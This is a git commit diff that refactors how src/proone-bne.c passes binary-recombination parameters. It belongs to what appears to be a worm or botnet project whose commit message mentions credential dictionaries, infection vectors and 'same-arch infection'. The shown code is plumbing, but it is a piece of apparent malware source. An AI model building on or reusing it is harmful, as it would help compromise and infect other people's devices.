diff options
author | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
commit | 5a98bcd78867b4fb1a272ce26774c8811f28750d (patch) | |
tree | febb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/proone-bne.c | |
parent | a0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff) |
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args
* Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem
arises deserialising)
* tostr() and fstr() functions set errno to EINVAL
* Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/proone-bne.c')
-rw-r--r-- | src/proone-bne.c | 11 |
1 files changed, 8 insertions, 3 deletions
diff --git a/src/proone-bne.c b/src/proone-bne.c index 20fb24b..0a3f75d 100644 --- a/src/proone-bne.c +++ b/src/proone-bne.c @@ -175,6 +175,7 @@ int main (const int argc, const char **args) { prne_cred_dict_t dict; prne_bin_archive_t ba; prne_bne_param_t param; + prne_rcb_param_t rcb; prne_pack_rc_t prc; mbedtls_entropy_context entropy; mbedtls_ctr_drbg_context ctr_drbg; @@ -191,6 +192,7 @@ int main (const int argc, const char **args) { prne_init_cred_dict(&dict); prne_init_bne_param(¶m); + prne_init_rcb_param(&rcb); prne_init_bin_archive(&ba); mbedtls_x509_crt_init(&htbt_ssl.ca); @@ -295,13 +297,15 @@ int main (const int argc, const char **args) { goto END; } + rcb.m_dv = m_dv; + rcb.dv_len = dv_len; + rcb.ba = &ba; + param.htbt_ssl_conf = &htbt_ssl.conf; param.cred_dict = &dict; param.vector.arr = ARR_VEC; param.vector.cnt = sizeof(ARR_VEC)/sizeof(prne_bne_vector_t); - param.rcb.m_dv = m_dv; - param.rcb.dv_len = dv_len; - param.rcb.ba = &ba; + param.rcb = &rcb; param.cb.exec_name = cb_exec_name; for (size_t i = 0; i < cnt; i += 1) { @@ -381,6 +385,7 @@ END: // CATCH mbedtls_ssl_config_free(&htbt_ssl.conf); prne_free_cred_dict(&dict); prne_free_bne_param(¶m); + prne_free_rcb_param(&rcb); prne_free_bin_archive(&ba); prne_close(fd); prne_free(arr); |